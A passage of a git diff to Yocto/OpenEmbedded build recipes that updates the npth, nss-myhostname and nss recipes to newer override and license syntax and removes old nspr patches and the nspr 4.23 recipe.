+ #
+ # Checks for libraries and functions.
+ #
+-# We test for pthread_detach because glibc 2.22 includes
+-# pthread_create but not pthread_detach.
+ if test "$have_w32_system" = no; then
+- AC_SEARCH_LIBS([pthread_detach],[pthread])
+- case "x$ac_cv_search_pthread_detach" in
++ AC_SEARCH_LIBS([pthread_create],[pthread])
++ case "x$ac_cv_search_pthread_create" in
+ xno)
+ have_pthread=no
+ ;;
+@@ -297,7 +295,7 @@ if test "$have_w32_system" = no; then
+ ;;
+ *)
+ have_pthread=yes
+- config_libs="$config_libs $ac_cv_search_pthread_detach"
++ config_libs="$config_libs $ac_cv_search_pthread_create"
+ ;;
+ esac
+ if test "$have_pthread" != no; then
+--
+2.31.1
+
diff --git a/meta/recipes-support/npth/npth_1.6.bb b/meta/recipes-support/npth/npth_1.6.bb
index 8310efb106..ef863d39b0 100644
--- a/meta/recipes-support/npth/npth_1.6.bb
+++ b/meta/recipes-support/npth/npth_1.6.bb
@@ -1,13 +1,15 @@
SUMMARY = "New GNU Portable Threads library"
-HOMEPAGE = "http://www.gnupg.org/software/pth/"
+DESCRIPTION = "nPth is a library to provide the GNU Pth API and thus a non-preemptive threads implementation. "
+HOMEPAGE = "https://www.gnu.org/software/pth/"
SECTION = "libs"
-LICENSE = "LGPLv2+"
+LICENSE = "LGPL-2.0-or-later"
LIC_FILES_CHKSUM = "\
file://COPYING.LIB;md5=2caced0b25dfefd4c601d92bd15116de\
"
UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
SRC_URI = "${GNUPG_MIRROR}/npth/npth-${PV}.tar.bz2 \
file://pkgconfig.patch \
+ file://0001-Revert-Fix-problem-with-regression-tests-on-recent-g.patch \
"
SRC_URI[md5sum] = "375d1a15ad969f32d25f1a7630929854"
@@ -15,13 +17,13 @@ SRC_URI[sha256sum] = "1393abd9adcf0762d34798dc34fdcf4d0d22a8410721e76f1e3afcd1da
BINCONFIG = "${bindir}/npth-config"
-inherit autotools binconfig-disabled multilib_header
+inherit autotools binconfig-disabled multilib_header
-FILES_${PN} = "${libdir}/libnpth.so.*"
-FILES_${PN}-dev += "${bindir}/npth-config"
+FILES:${PN} = "${libdir}/libnpth.so.*"
+FILES:${PN}-dev += "${bindir}/npth-config"
-do_install_append() {
+do_install:append() {
oe_multilib_header npth.h
}
-BBCLASSEXTEND = "native"
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/nspr/nspr/0001-md-Fix-build-with-musl.patch b/meta/recipes-support/nspr/nspr/0001-md-Fix-build-with-musl.patch
deleted file mode 100644
index f3cd670026..0000000000
--- a/meta/recipes-support/nspr/nspr/0001-md-Fix-build-with-musl.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From 147f3c2acbd96d44025cec11800ded0282327764 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 18 Sep 2017 17:22:43 -0700
-Subject: [PATCH] md: Fix build with musl
-
-The MIPS specific header <sgidefs.h> is not provided by musl
-linux kernel headers provide <asm/sgidefs.h> which has same definitions
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- pr/include/md/_linux.cfg | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/pr/include/md/_linux.cfg b/pr/include/md/_linux.cfg
-index 640b19c..31296a8 100644
---- a/pr/include/md/_linux.cfg
-+++ b/pr/include/md/_linux.cfg
-@@ -499,7 +499,7 @@
- #elif defined(__mips__)
-
- /* For _ABI64 */
--#include <sgidefs.h>
-+#include <asm/sgidefs.h>
-
- #ifdef __MIPSEB__
- #define IS_BIG_ENDIAN 1
---
-2.14.1
-
diff --git a/meta/recipes-support/nspr/nspr/0002-Add-nios2-support.patch b/meta/recipes-support/nspr/nspr/0002-Add-nios2-support.patch
deleted file mode 100644
index 3a04d426a8..0000000000
--- a/meta/recipes-support/nspr/nspr/0002-Add-nios2-support.patch
+++ /dev/null
@@ -1,102 +0,0 @@
-From 95bda64fb4cf1825fea745e918cfe8202843f0ba Mon Sep 17 00:00:00 2001
-From: Marek Vasut <marex@denx.de>
-Date: Sat, 30 Jan 2016 07:18:02 +0100
-Subject: [PATCH] Add nios2 support
-
-Add support for the nios2 CPU.
-
-Signed-off-by: Marek Vasut <marex@denx.de>
-Upstream-Status: Submitted [ https://bugzilla.mozilla.org/show_bug.cgi?id=1244421 ]
----
- nspr/pr/include/md/_linux.cfg | 45 +++++++++++++++++++++++++++++++++++++++++++
- nspr/pr/include/md/_linux.h | 14 ++++++++++++++
- 2 files changed, 59 insertions(+)
-
-Index: nspr/pr/include/md/_linux.cfg
-===================================================================
---- nspr.orig/pr/include/md/_linux.cfg
-+++ nspr/pr/include/md/_linux.cfg
-@@ -975,6 +975,51 @@
- #define PR_BYTES_PER_WORD_LOG2 2
- #define PR_BYTES_PER_DWORD_LOG2 3
-
-+#elif defined(__nios2__)
-+
-+#define IS_LITTLE_ENDIAN 1
-+#undef IS_BIG_ENDIAN
-+
-+#define PR_BYTES_PER_BYTE 1
-+#define PR_BYTES_PER_SHORT 2
-+#define PR_BYTES_PER_INT 4
-+#define PR_BYTES_PER_INT64 8
-+#define PR_BYTES_PER_LONG 4
-+#define PR_BYTES_PER_FLOAT 4
-+#define PR_BYTES_PER_DOUBLE 8
-+#define PR_BYTES_PER_WORD 4
-+#define PR_BYTES_PER_DWORD 8
-+
-+#define PR_BITS_PER_BYTE 8
-+#define PR_BITS_PER_SHORT 16
-+#define PR_BITS_PER_INT 32
-+#define PR_BITS_PER_INT64 64
-+#define PR_BITS_PER_LONG 32
-+#define PR_BITS_PER_FLOAT 32
-+#define PR_BITS_PER_DOUBLE 64
-+#define PR_BITS_PER_WORD 32
-+
-+#define PR_BITS_PER_BYTE_LOG2 3
-+#define PR_BITS_PER_SHORT_LOG2 4
-+#define PR_BITS_PER_INT_LOG2 5
-+#define PR_BITS_PER_INT64_LOG2 6
-+#define PR_BITS_PER_LONG_LOG2 5
-+#define PR_BITS_PER_FLOAT_LOG2 5
-+#define PR_BITS_PER_DOUBLE_LOG2 6
-+#define PR_BITS_PER_WORD_LOG2 5
-+
-+#define PR_ALIGN_OF_SHORT 2
-+#define PR_ALIGN_OF_INT 4
-+#define PR_ALIGN_OF_LONG 4
-+#define PR_ALIGN_OF_INT64 4
-+#define PR_ALIGN_OF_FLOAT 4
-+#define PR_ALIGN_OF_DOUBLE 4
-+#define PR_ALIGN_OF_POINTER 4
-+#define PR_ALIGN_OF_WORD 4
-+
-+#define PR_BYTES_PER_WORD_LOG2 2
-+#define PR_BYTES_PER_DWORD_LOG2 3
-+
- #elif defined(__or1k__)
-
- #undef IS_LITTLE_ENDIAN
-Index: nspr/pr/include/md/_linux.h
-===================================================================
---- nspr.orig/pr/include/md/_linux.h
-+++ nspr/pr/include/md/_linux.h
-@@ -55,6 +55,8 @@
- #define _PR_SI_ARCHITECTURE "avr32"
- #elif defined(__m32r__)
- #define _PR_SI_ARCHITECTURE "m32r"
-+#elif defined(__nios2__)
-+#define _PR_SI_ARCHITECTURE "nios2"
- #elif defined(__or1k__)
- #define _PR_SI_ARCHITECTURE "or1k"
- #elif defined(__riscv) && (__riscv_xlen == 32)
-@@ -129,6 +131,18 @@ extern PRInt32 _PR_x86_64_AtomicSet(PRIn
- #define _MD_ATOMIC_SET _PR_x86_64_AtomicSet
- #endif
-
-+#if defined(__nios2__)
-+#if defined(__GNUC__)
-+/* Use GCC built-in functions */
-+#define _PR_HAVE_ATOMIC_OPS
-+#define _MD_INIT_ATOMIC()
-+#define _MD_ATOMIC_INCREMENT(ptr) __sync_add_and_fetch(ptr, 1)
-+#define _MD_ATOMIC_DECREMENT(ptr) __sync_sub_and_fetch(ptr, 1)
-+#define _MD_ATOMIC_ADD(ptr, i) __sync_add_and_fetch(ptr, i)
-+#define _MD_ATOMIC_SET(ptr, nv) __sync_lock_test_and_set(ptr, nv)
-+#endif
-+#endif
-+
- #if defined(__or1k__)
- #if defined(__GNUC__)
- /* Use GCC built-in functions */
diff --git a/meta/recipes-support/nspr/nspr/Makefile.in-remove-_BUILD_STRING-and-_BUILD_TIME.patch b/meta/recipes-support/nspr/nspr/Makefile.in-remove-_BUILD_STRING-and-_BUILD_TIME.patch
deleted file mode 100644
index 90fe45f34d..0000000000
--- a/meta/recipes-support/nspr/nspr/Makefile.in-remove-_BUILD_STRING-and-_BUILD_TIME.patch
+++ /dev/null
@@ -1,103 +0,0 @@
-From 8a592e4ead4ed6befe6044da3dd2dc7523c33905 Mon Sep 17 00:00:00 2001
-From: Mingli Yu <Mingli.Yu@windriver.com>
-Date: Fri, 16 Nov 2018 13:52:49 +0800
-Subject: [PATCH] Makefile.in: remove _BUILD_STRING and _BUILD_TIME
-
-Remove _BUILD_STRING and _BUILD_TIME to avoid
-adding timestamp to _pl_bld.h which can result
-in adding timestamp in library file such as
-libnspr4.so.
- $ readelf --wide --decompress --hex-dump=.rodata libnspr4.so
- [snip]
- 0x00004000 32303138 2d31312d 31352030 353a3439 2018-11-15 05:49
- [snip]
-
-Upstream-Status: Pending
-
-Signed-off-by: Mingli Yu <Mingli.Yu@windriver.com>
----
- lib/ds/Makefile.in | 8 +-------
- lib/libc/src/Makefile.in | 8 +-------
- lib/prstreams/Makefile.in | 8 +-------
- pr/src/Makefile.in | 8 +-------
- 4 files changed, 4 insertions(+), 28 deletions(-)
-
-diff --git a/lib/ds/Makefile.in b/lib/ds/Makefile.in
-index e737791..b578476 100644
---- a/lib/ds/Makefile.in
-+++ b/lib/ds/Makefile.in
-@@ -114,13 +114,7 @@ GARBAGE += $(TINC)
-
- $(TINC):
- @$(MAKE_OBJDIR)
-- @$(ECHO) '#define _BUILD_STRING "$(SH_DATE)"' > $(TINC)
-- @if test ! -z "$(SH_NOW)"; then \
-- $(ECHO) '#define _BUILD_TIME $(SH_NOW)$(SUF)' >> $(TINC); \
-- else \
-- true; \
-- fi
-- @$(ECHO) '#define _PRODUCTION "$(PROD)"' >> $(TINC)
-+ @$(ECHO) '#define _PRODUCTION "$(PROD)"' > $(TINC)
-
-
- $(OBJDIR)/plvrsion.$(OBJ_SUFFIX): plvrsion.c $(TINC)
-diff --git a/lib/libc/src/Makefile.in b/lib/libc/src/Makefile.in
-index e8a6d9f..978ed28 100644
---- a/lib/libc/src/Makefile.in
-+++ b/lib/libc/src/Makefile.in
-@@ -116,13 +116,7 @@ GARBAGE += $(TINC)
-
- $(TINC):
- @$(MAKE_OBJDIR)
-- @$(ECHO) '#define _BUILD_STRING "$(SH_DATE)"' > $(TINC)
-- @if test ! -z "$(SH_NOW)"; then \
-- $(ECHO) '#define _BUILD_TIME $(SH_NOW)$(SUF)' >> $(TINC); \
-- else \
-- true; \
-- fi
-- @$(ECHO) '#define _PRODUCTION "$(PROD)"' >> $(TINC)
-+ @$(ECHO) '#define _PRODUCTION "$(PROD)"' > $(TINC)
-
-
- $(OBJDIR)/plvrsion.$(OBJ_SUFFIX): plvrsion.c $(TINC)
-diff --git a/lib/prstreams/Makefile.in b/lib/prstreams/Makefile.in
-index aeb2944..f318097 100644
---- a/lib/prstreams/Makefile.in
-+++ b/lib/prstreams/Makefile.in
-@@ -116,13 +116,7 @@ endif
-
- $(TINC):
- @$(MAKE_OBJDIR)
-- @$(ECHO) '#define _BUILD_STRING "$(SH_DATE)"' > $(TINC)
-- @if test ! -z "$(SH_NOW)"; then \
-- $(ECHO) '#define _BUILD_TIME $(SH_NOW)$(SUF)' >> $(TINC); \
-- else \
-- true; \
-- fi
-- @$(ECHO) '#define _PRODUCTION "$(PROD)"' >> $(TINC)
-+ @$(ECHO) '#define _PRODUCTION "$(PROD)"' > $(TINC)
-
-
- $(OBJDIR)/plvrsion.$(OBJ_SUFFIX): plvrsion.c $(TINC)
-diff --git a/pr/src/Makefile.in b/pr/src/Makefile.in
-index 19c5a69..b4ac31c 100644
---- a/pr/src/Makefile.in
-+++ b/pr/src/Makefile.in
-@@ -326,13 +326,7 @@ GARBAGE += $(TINC)
-
- $(TINC):
- @$(MAKE_OBJDIR)
-- @$(ECHO) '#define _BUILD_STRING "$(SH_DATE)"' > $(TINC)
-- @if test ! -z "$(SH_NOW)"; then \
-- $(ECHO) '#define _BUILD_TIME $(SH_NOW)$(SUF)' >> $(TINC); \
-- else \
-- true; \
-- fi
-- @$(ECHO) '#define _PRODUCTION "$(PROD)"' >> $(TINC)
-+ @$(ECHO) '#define _PRODUCTION "$(PROD)"' > $(TINC)
-
-
- $(OBJDIR)/prvrsion.$(OBJ_SUFFIX): prvrsion.c $(TINC)
---
-2.7.4
-
diff --git a/meta/recipes-support/nspr/nspr/fix-build-on-x86_64.patch b/meta/recipes-support/nspr/nspr/fix-build-on-x86_64.patch
deleted file mode 100644
index f12acc8548..0000000000
--- a/meta/recipes-support/nspr/nspr/fix-build-on-x86_64.patch
+++ /dev/null
@@ -1,52 +0,0 @@
-Fix build failure on x86_64
-
-When the target_cpu is x86_64, we should assume that the pkg uses 64bit,
-only if USE_N32 is set, we can assume that the pkg uses 32bit. It used a
-opposite logic before.
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
-
-Upstream-Status: Pending
----
- configure.in | 12 ++++++------
- 1 files changed, 6 insertions(+), 6 deletions(-)
-
-Index: nspr/configure.in
-===================================================================
---- nspr.orig/configure.in
-+++ nspr/configure.in
-@@ -1875,28 +1875,24 @@ tools are selected during the Xcode/Deve
- PR_MD_ASFILES=os_Linux_ia64.s
- ;;
- x86_64)
-- if test -n "$USE_64"; then
-- PR_MD_ASFILES=os_Linux_x86_64.s
-- elif test -n "$USE_X32"; then
-+ if test -n "$USE_X32"; then
-+ AC_DEFINE(i386)
- PR_MD_ASFILES=os_Linux_x86_64.s
- CC="$CC -mx32"
- CXX="$CXX -mx32"
- else
-- AC_DEFINE(i386)
-- PR_MD_ASFILES=os_Linux_x86.s
-- CC="$CC -m32"
-- CXX="$CXX -m32"
-+ PR_MD_ASFILES=os_Linux_x86_64.s
- fi
- ;;
- ppc|powerpc)
- PR_MD_ASFILES=os_Linux_ppc.s
- ;;
- powerpc64)
-- if test -n "$USE_64"; then
-+ if test -n "$USE_N32"; then
-+ PR_MD_ASFILES=os_Linux_ppc.s
-+ else
- CC="$CC -m64"
- CXX="$CXX -m64"
-- else
-- PR_MD_ASFILES=os_Linux_ppc.s
- fi
- ;;
- esac
diff --git a/meta/recipes-support/nspr/nspr/nspr.pc.in b/meta/recipes-support/nspr/nspr/nspr.pc.in
deleted file mode 100644
index d74caabe4c..0000000000
--- a/meta/recipes-support/nspr/nspr/nspr.pc.in
+++ /dev/null
@@ -1,11 +0,0 @@
-os_libs=-lpthread -ldl
-prefix=OEPREFIX
-exec_prefix=OEEXECPREFIX
-libdir=OELIBDIR
-includedir=OEINCDIR
-
-Name: NSPR
-Description: The Netscape Portable Runtime
-Version: NSPRVERSION
-Libs: -L${libdir} -lplds4 -lplc4 -lnspr4 -lpthread -ldl
-Cflags:
diff --git a/meta/recipes-support/nspr/nspr/remove-rpath-from-tests.patch b/meta/recipes-support/nspr/nspr/remove-rpath-from-tests.patch
deleted file mode 100644
index 7ba59ed644..0000000000
--- a/meta/recipes-support/nspr/nspr/remove-rpath-from-tests.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-Author: Andrei Gherzan <andrei@gherzan.ro>
-Date: Thu Feb 9 00:03:38 2012 +0200
-
-Avoid QA warnings by removing hardcoded rpath from binaries.
-
-[...]
-WARNING: QA Issue: package nspr contains bad RPATH {builddir}/tmp/work/armv5te-poky-linux-gnueabi/nspr-4.8.9-r1/nspr-4.8.9/mozilla/nsprpub/pr/tests/../../dist/lib
-in file {builddir}/tmp/work/armv5te-poky-linux-gnueabi/nspr-4.8.9-r1/packages-split/nspr/usr/lib/nspr/tests/multiwait
-[...]
-
-Signed-off-by: Andrei Gherzan <andrei@gherzan.ro>
-Upstream-Status: Pending
-
-Index: nspr/pr/tests/Makefile.in
-===================================================================
---- nspr.orig/pr/tests/Makefile.in
-+++ nspr/pr/tests/Makefile.in
-@@ -316,7 +316,7 @@ ifeq ($(OS_ARCH), SunOS)
- endif # SunOS
-
- ifeq (,$(filter-out Linux GNU GNU_%,$(OS_ARCH)))
-- LDOPTS += -Xlinker -rpath $(ABSOLUTE_LIB_DIR)
-+ LDOPTS += -Xlinker
- ifeq ($(USE_PTHREADS),1)
- EXTRA_LIBS = -lpthread
- endif
diff --git a/meta/recipes-support/nspr/nspr/remove-srcdir-from-configure-in.patch b/meta/recipes-support/nspr/nspr/remove-srcdir-from-configure-in.patch
deleted file mode 100644
index bde715c5dc..0000000000
--- a/meta/recipes-support/nspr/nspr/remove-srcdir-from-configure-in.patch
+++ /dev/null
@@ -1,19 +0,0 @@
-the $srcdir is not defined at the time of gnu-configurize.
-
-Upstream-Status: Inappropriate [OE-Core specific]
-
-Signed-off-by: Saul Wold <sgw@linux.intel.com>
-
-Index: nspr/configure.in
-===================================================================
---- nspr.orig/configure.in
-+++ nspr/configure.in
-@@ -8,7 +8,7 @@ AC_PREREQ(2.61)
- AC_INIT
- AC_CONFIG_SRCDIR([pr/include/nspr.h])
-
--AC_CONFIG_AUX_DIR(${srcdir}/build/autoconf)
-+AC_CONFIG_AUX_DIR(build/autoconf)
- AC_CANONICAL_TARGET
-
- dnl ========================================================
diff --git a/meta/recipes-support/nspr/nspr_4.23.bb b/meta/recipes-support/nspr/nspr_4.23.bb
deleted file mode 100644
index 8e2761c20e..0000000000
--- a/meta/recipes-support/nspr/nspr_4.23.bb
+++ /dev/null
@@ -1,193 +0,0 @@
-SUMMARY = "Netscape Portable Runtime Library"
-HOMEPAGE = "http://www.mozilla.org/projects/nspr/"
-LICENSE = "GPL-2.0 | MPL-2.0 | LGPL-2.1"
-LIC_FILES_CHKSUM = "file://configure.in;beginline=3;endline=6;md5=90c2fdee38e45d6302abcfe475c8b5c5 \
- file://Makefile.in;beginline=4;endline=38;md5=beda1dbb98a515f557d3e58ef06bca99"
-SECTION = "libs/network"
-
-SRC_URI = "http://ftp.mozilla.org/pub/nspr/releases/v${PV}/src/nspr-${PV}.tar.gz \
- file://remove-rpath-from-tests.patch \
- file://fix-build-on-x86_64.patch \
- file://remove-srcdir-from-configure-in.patch \
- file://0002-Add-nios2-support.patch \
- file://0001-md-Fix-build-with-musl.patch \
- file://Makefile.in-remove-_BUILD_STRING-and-_BUILD_TIME.patch \
- file://nspr.pc.in \
-"
-
-CACHED_CONFIGUREVARS_append_libc-musl = " CFLAGS='${CFLAGS} -D_PR_POLL_AVAILABLE \
- -D_PR_HAVE_OFF64_T -D_PR_INET6 -D_PR_HAVE_INET_NTOP \
- -D_PR_HAVE_GETHOSTBYNAME2 -D_PR_HAVE_GETADDRINFO \
- -D_PR_INET6_PROBE -DNO_DLOPEN_NULL'"
-
-UPSTREAM_CHECK_URI = "http://ftp.mozilla.org/pub/nspr/releases/"
-UPSTREAM_CHECK_REGEX = "v(?P<pver>\d+(\.\d+)+)/"
-
-SRC_URI[md5sum] = "90af0450423b0588f0eba6255c07ab79"
-SRC_URI[sha256sum] = "4b9d821037faf5723da901515ed9cac8b23ef1ea3729022259777393453477a4"
-
-CVE_PRODUCT = "netscape_portable_runtime"
-
-S = "${WORKDIR}/nspr-${PV}/nspr"
-
-RDEPENDS_${PN}-dev += "perl"
-TARGET_CC_ARCH += "${LDFLAGS}"
-
-TESTS = " \
- accept \
- acceptread \
- acceptreademu \
- affinity \
- alarm \
- anonfm \
- atomic \
- attach \
- bigfile \
- cleanup \
- cltsrv \
- concur \
- cvar \
- cvar2 \
- dlltest \
- dtoa \
- errcodes \
- exit \
- fdcach \
- fileio \
- foreign \
- formattm \
- fsync \
- gethost \
- getproto \
- i2l \
- initclk \
- inrval \
- instrumt \
- intrio \
- intrupt \
- io_timeout \
- ioconthr \
- join \
- joinkk \
- joinku \
- joinuk \
- joinuu \
- layer \
- lazyinit \
- libfilename \
- lltest \
- lock \
- lockfile \
- logfile \
- logger \
- many_cv \
- multiwait \
- nameshm1 \
- nblayer \
- nonblock \
- ntioto \
- ntoh \
- op_2long \
- op_excl \
- op_filnf \
- op_filok \
- op_nofil \
- parent \
- parsetm \
- peek \
- perf \
- pipeping \
- pipeping2 \
- pipeself \
- poll_nm \
- poll_to \
- pollable \
- prftest \
- primblok \
- provider \
- prpollml \
- ranfile \
- randseed \
- reinit \
- rwlocktest \
- sel_spd \
- selct_er \
- selct_nm \
- selct_to \
- selintr \
- sema \
- semaerr \
- semaping \
- sendzlf \
- server_test \
- servr_kk \
- servr_uk \
- servr_ku \
- servr_uu \
- short_thread \
- sigpipe \
- socket \
- sockopt \
- sockping \
- sprintf \
- stack \
- stdio \
- str2addr \
- strod \
- switch \
- system \
- testbit \
- testfile \
- threads \
- timemac \
- timetest \
- tpd \
- udpsrv \
- vercheck \
- version \
- writev \
- xnotify \
- zerolen"
-
-inherit autotools multilib_script
-
-MULTILIB_SCRIPTS = "${PN}-dev:${bindir}/nspr-config"
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
-
-do_compile_prepend() {
- oe_runmake CROSS_COMPILE=1 CFLAGS="-DXP_UNIX ${BUILD_CFLAGS}" LDFLAGS="" CC="${BUILD_CC}" -C config export
-}
-
-do_compile_append() {
- oe_runmake -C pr/tests
-}
-
-do_install_append() {
- install -D ${WORKDIR}/nspr.pc.in ${D}${libdir}/pkgconfig/nspr.pc
- sed -i \
- -e 's:NSPRVERSION:${PV}:g' \
- -e 's:OEPREFIX:${prefix}:g' \
- -e 's:OELIBDIR:${libdir}:g' \
- -e 's:OEINCDIR:${includedir}:g' \
- -e 's:OEEXECPREFIX:${exec_prefix}:g' \
- ${D}${libdir}/pkgconfig/nspr.pc
-
- mkdir -p ${D}${libdir}/nspr/tests
- install -m 0755 ${S}/pr/tests/runtests.pl ${D}${libdir}/nspr/tests
- install -m 0755 ${S}/pr/tests/runtests.sh ${D}${libdir}/nspr/tests
- cd ${B}/pr/tests
- install -m 0755 ${TESTS} ${D}${libdir}/nspr/tests
-
- # delete compile-et.pl and perr.properties from ${bindir} because these are
- # only used to generate prerr.c and prerr.h files from prerr.et at compile
- # time
- rm ${D}${bindir}/compile-et.pl ${D}${bindir}/prerr.properties
-}
-
-FILES_${PN} = "${libdir}/lib*.so"
-FILES_${PN}-dev = "${bindir}/* ${libdir}/nspr/tests/* ${libdir}/pkgconfig \
- ${includedir}/* ${datadir}/aclocal/* "
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/nss-myhostname/nss-myhostname_0.3.bb b/meta/recipes-support/nss-myhostname/nss-myhostname_0.3.bb
index 244d9e204e..742e77eb18 100644
--- a/meta/recipes-support/nss-myhostname/nss-myhostname_0.3.bb
+++ b/meta/recipes-support/nss-myhostname/nss-myhostname_0.3.bb
@@ -3,7 +3,7 @@ DESCRIPTION = "plugin for the GNU Name Service Switch (NSS) functionality of \
the GNU C Library (glibc) providing host name resolution for the locally \
configured system hostname as returned by gethostname(2)."
HOMEPAGE = "http://0pointer.de/lennart/projects/nss-myhostname/"
-LICENSE = "LGPLv2.1"
+LICENSE = "LGPL-2.1-only"
LIC_FILES_CHKSUM = "file://LICENSE;md5=2d5025d4aa3495befef8f17206a5b0a1"
SRC_URI = "http://0pointer.de/lennart/projects/nss-myhostname/nss-myhostname-${PV}.tar.gz \
@@ -12,20 +12,20 @@ SRC_URI = "http://0pointer.de/lennart/projects/nss-myhostname/nss-myhostname-${P
SRC_URI[md5sum] = "d4ab9ac36c053ab8fb836db1cbd4a48f"
SRC_URI[sha256sum] = "2ba744ea8d578d1c57c85884e94a3042ee17843a5294434d3a7f6c4d67e7caf2"
-inherit autotools distro_features_check
+inherit autotools features_check
-COMPATIBLE_HOST_libc-musl = 'null'
+COMPATIBLE_HOST:libc-musl = 'null'
# The systemd has its own copy of nss-myhostname
CONFLICT_DISTRO_FEATURES = "systemd"
-pkg_postinst_${PN} () {
+pkg_postinst:${PN} () {
sed -e '/^hosts:/s/\s*\<myhostname\>//' \
-e 's/\(^hosts:.*\)\(\<files\>\)\(.*\)\(\<dns\>\)\(.*\)/\1\2 myhostname \3\4\5/' \
-i $D${sysconfdir}/nsswitch.conf
}
-pkg_prerm_${PN} () {
+pkg_prerm:${PN} () {
sed -e '/^hosts:/s/\s*\<myhostname\>//' \
-e '/^hosts:/s/\s*myhostname//' \
-i $D${sysconfdir}/nsswitch.conf
diff --git a/meta/recipes-support/nss/nss/0001-nss-fix-support-cross-compiling.patch b/meta/recipes-support/nss/nss/0001-nss-fix-support-cross-compiling.patch
deleted file mode 100644
index d5403397e7..0000000000
--- a/meta/recipes-support/nss/nss/0001-nss-fix-support-cross-compiling.patch
+++ /dev/null
@@ -1,48 +0,0 @@
-From 0cf47ee432cc26a706864fcc09b2c3adc342a679 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Wed, 22 Feb 2017 11:36:11 +0200
-Subject: [PATCH] nss: fix support cross compiling
-
-Let some make variables be assigned from outside makefile.
-
-Upstream-Status: Inappropriate [configuration]
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- nss/coreconf/arch.mk | 2 +-
- nss/lib/freebl/Makefile | 6 ++++++
- 2 files changed, 7 insertions(+), 1 deletion(-)
-
-diff --git a/nss/coreconf/arch.mk b/nss/coreconf/arch.mk
-index 06c276f..9c1eb51 100644
---- a/nss/coreconf/arch.mk
-+++ b/nss/coreconf/arch.mk
-@@ -30,7 +30,7 @@ OS_TEST := $(shell uname -m)
- ifeq ($(OS_TEST),i86pc)
- OS_RELEASE := $(shell uname -r)_$(OS_TEST)
- else
-- OS_RELEASE := $(shell uname -r)
-+ OS_RELEASE ?= $(shell uname -r)
- endif
-
- #
-diff --git a/nss/lib/freebl/Makefile b/nss/lib/freebl/Makefile
-index 0ce1425..ebeb411 100644
---- a/nss/lib/freebl/Makefile
-+++ b/nss/lib/freebl/Makefile
-@@ -36,6 +36,12 @@ ifdef USE_64
- DEFINES += -DNSS_USE_64
- endif
-
-+ifeq ($(OS_TEST),mips)
-+ifndef USE_64
-+ DEFINES += -DNS_PTR_LE_32
-+endif
-+endif
-+
- ifdef USE_ABI32_FPU
- DEFINES += -DNSS_USE_ABI32_FPU
- endif
---
-2.11.0
-
diff --git a/meta/recipes-support/nss/nss/blank-cert9.db b/meta/recipes-support/nss/nss/blank-cert9.db
deleted file mode 100644
index 7d4bcf2582..0000000000
--- a/meta/recipes-support/nss/nss/blank-cert9.db
+++ /dev/null
Binary files differ
diff --git a/meta/recipes-support/nss/nss/blank-key4.db b/meta/recipes-support/nss/nss/blank-key4.db
deleted file mode 100644
index d47f08d04f..0000000000
--- a/meta/recipes-support/nss/nss/blank-key4.db
+++ /dev/null
Binary files differ
diff --git a/meta/recipes-support/nss/nss/disable-Wvarargs-with-clang.patch b/meta/recipes-support/nss/nss/disable-Wvarargs-with-clang.patch
deleted file mode 100644
index de812d27ba..0000000000
--- a/meta/recipes-support/nss/nss/disable-Wvarargs-with-clang.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-clang 3.9 add this warning to rightly flag undefined
-behavior, we relegate this to be just a warning instead
-of error and keep the behavior as it was. Right fix would
-be to not pass enum to the function with variadic arguments
-as last named argument
-
-Fixes errors like
-ocsp.c:2220:22: error: passing an object that undergoes default argument promotion to 'va_start' has undefined behavior [-Werror,-Wvarargs]
- va_start(ap, responseType0);
- ^
-ocsp.c:2200:43: note: parameter of type 'SECOidTag' is declared here
- SECOidTag responseType0, ...)
-
-see
-https://www.securecoding.cert.org/confluence/display/cplusplus/EXP58-CPP.+Pass+an+object+of+the+correct+type+to+va_start
-for more details
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Pending
-
-Index: nss-3.37.1/nss/coreconf/Werror.mk
-===================================================================
---- nss-3.37.1.orig/nss/coreconf/Werror.mk
-+++ nss-3.37.1/nss/coreconf/Werror.mk
-@@ -56,7 +56,7 @@ ifndef WARNING_CFLAGS
- ifdef CC_IS_CLANG
- # -Qunused-arguments : clang objects to arguments that it doesn't understand
- # and fixing this would require rearchitecture
-- WARNING_CFLAGS += -Qunused-arguments
-+ WARNING_CFLAGS += -Qunused-arguments -Wno-error=varargs
- # -Wno-parentheses-equality : because clang warns about macro expansions
- WARNING_CFLAGS += $(call disable_warning,parentheses-equality)
- ifdef BUILD_OPT
diff --git a/meta/recipes-support/nss/nss/nss-fix-incorrect-shebang-of-perl.patch b/meta/recipes-support/nss/nss/nss-fix-incorrect-shebang-of-perl.patch
deleted file mode 100644
index 547594d5b6..0000000000
--- a/meta/recipes-support/nss/nss/nss-fix-incorrect-shebang-of-perl.patch
+++ /dev/null
@@ -1,110 +0,0 @@
-nss: fix incorrect shebang of perl
-
-Replace incorrect shebang of perl with `#!/usr/bin/env perl'.
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-Upstream-Status: Pending
----
- nss/cmd/smimetools/smime | 2 +-
- nss/coreconf/cpdist.pl | 2 +-
- nss/coreconf/import.pl | 2 +-
- nss/coreconf/jniregen.pl | 2 +-
- nss/coreconf/outofdate.pl | 2 +-
- nss/coreconf/release.pl | 2 +-
- nss/coreconf/version.pl | 2 +-
- nss/tests/clean_tbx | 2 +-
- nss/tests/path_uniq | 2 +-
- 9 files changed, 9 insertions(+), 9 deletions(-)
-
-diff --git a/nss/cmd/smimetools/smime b/nss/cmd/smimetools/smime
---- a/nss/cmd/smimetools/smime
-+++ b/nss/cmd/smimetools/smime
